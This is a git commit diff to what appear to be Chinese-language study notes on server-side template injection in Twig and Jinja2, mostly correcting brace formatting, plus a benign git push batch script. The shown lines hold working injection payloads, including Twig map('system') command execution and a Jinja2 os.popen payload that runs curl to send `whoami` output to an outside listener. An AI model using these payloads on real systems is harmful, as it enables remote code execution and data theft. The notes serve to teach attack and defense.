change 02/11

This commit is contained in:
2025-09-01 17:21:51 +08:00
parent 9a0d3dfd83
commit 11976de6b1
2 changed files with 35 additions and 8 deletions

View File

@@ -162,7 +162,7 @@ echo $twig->render('tags.twig',[
![img](11.模版注入/1685068449852-e93fa0ab-e941-46cf-8481-980ff6f99a06.png)
有两种形式的分隔符:{{% ... %} 和 {{{{ ... }}。前者用于执行语句,例如 for 循环,后者用于将表达式的结果输出到模板中。
有两种形式的分隔符:{{% ... %} 和 {{ ... }}。前者用于执行语句,例如 for 循环,后者用于将表达式的结果输出到模板中。
需要注意的是twig会生产缓存文件所以导致有时候模版的变化并不能直接看到效果可以每次都让php先清理缓存再渲染模版
@@ -395,7 +395,7 @@ echo $template->render();
![img](11.模版注入/1685069357382-52e857cb-a1d6-41ce-bc16-16d64c5177a2.png)
这里的代码中,`createTemplate`时注入了`$_GET['name']`,此时就会引发模板注入。而如下代码则不会,因为模板引擎解析的是字符串常量中的`{{{{name}}`,而不是动态拼接的`$_GET["name"]`
这里的代码中,`createTemplate`时注入了`$_GET['name']`,此时就会引发模板注入。而如下代码则不会,因为模板引擎解析的是字符串常量中的`{{name}}`,而不是动态拼接的`$_GET["name"]`
```php
<?php
@@ -600,7 +600,7 @@ shell_exec ( string $cmd ) : string
{{["id"]|map("exec")}} // 无回显
```
其中`{{{{["id"]|map("system")}}`会被成下面这样:
其中`{{["id"]|map("system")}}`会被成下面这样:
```php
twig_array_map([0 => "id"], "system")
@@ -1033,12 +1033,12 @@ if __name__ == '__main__':
这里使用的置换型模板,将字符串进行简单替换,其中参数`name`的值完全可控。发现模板引擎成功解析。说明模板引擎并不是将我们输入的值当作字符串,而是当作代码执行了。
{{{{}}在Jinja2中作为变量包裹标识符Jinja2在渲染的时候会把{{{{}}包裹的内容当做变量解析替换。比如{{{{1+1}}会被解析成2。如此一来就可以实现如同sql注入一样的注入漏洞。
{{}}在Jinja2中作为变量包裹标识符Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{1+1}}会被解析成2。如此一来就可以实现如同sql注入一样的注入漏洞。
以flask的jinja2引擎为例官方的模板语法如下
- {{% ... %} 用于声明比如在使用for控制语句或者if语句时
- {{{{......}} 用于打印到模板输出的表达式,比如之前传到到的变量(更准确的叫模板上下文),例如上文 '3*5' 这个表达式
- {{......}} 用于打印到模板输出的表达式,比如之前传到到的变量(更准确的叫模板上下文),例如上文 '3*5' 这个表达式
- {{# ... #} 用于模板注释
- \# ... ## 用于行语句,就是对语法的简化
- \#...#可以有和{{%%}相同的效果
@@ -1654,7 +1654,7 @@ pop()方法可以返回指定序列属性中的某个索引处的元素或指定
这样的话,那么 __class__、__bases__ 等关键字就成了字符串,就都可以用前面所讲的关键字绕过的姿势进行绕过了。
##### 5.2.7.5 过滤了大括号 {{{{
##### 5.2.7.5 过滤了大括号 {{
我们可以用Jinja2的 {{%...%} 语句装载一个循环控制语句来绕过:
@@ -1670,7 +1670,7 @@ pop()方法可以返回指定序列属性中的某个索引处的元素或指定
# 开启 nc 监听 nc -lvp 2333
```
也可以用 {{%print(......)%} 的形式来代替 {{{{ ,如下:
也可以用 {{%print(......)%} 的形式来代替 {{ ,如下:
```plain
{%print(''.__class__.__base__.__subclasses__()[400].__init__.__globals__['os'].popen('curl http://10.3.66.102:2333/?key=`whoami`').read())%}
@@ -1744,7 +1744,7 @@ __ . [ "
' request {{ _ %20(空格) [ ] . __globals__ __getitem__
```
我们用 {{%...%}绕过对 {{{{ 的过滤并用unicode绕过对关键字的过滤。unicode绕过是一种网上没提出的方法。
我们用 {{%...%}绕过对 {{ 的过滤并用unicode绕过对关键字的过滤。unicode绕过是一种网上没提出的方法。
假设我们要构造的payload原型为

27
push.bat Normal file
View File

@@ -0,0 +1,27 @@
@echo off
setlocal enabledelayedexpansion
rem 获取当前日期和时间
for /f "tokens=1-4 delims=/-. " %%i in ("%date%") do (
set yyyy=%%i
set mm=%%j
set dd=%%k
)
set hh=%time:~0,2%
set nn=%time:~3,2%
set ss=%time:~6,2%
rem 去掉小时的空格
if "%hh:~0,1%"==" " set hh=0%hh:~1,1%
set commitmsg=%yyyy%-%mm%-%dd%_%hh%-%nn%-%ss%
git config --global core.autocrlf input
git add .
git rm --cached push.bat
git commit -m "%commitmsg%"
git push -u origin main
endlocal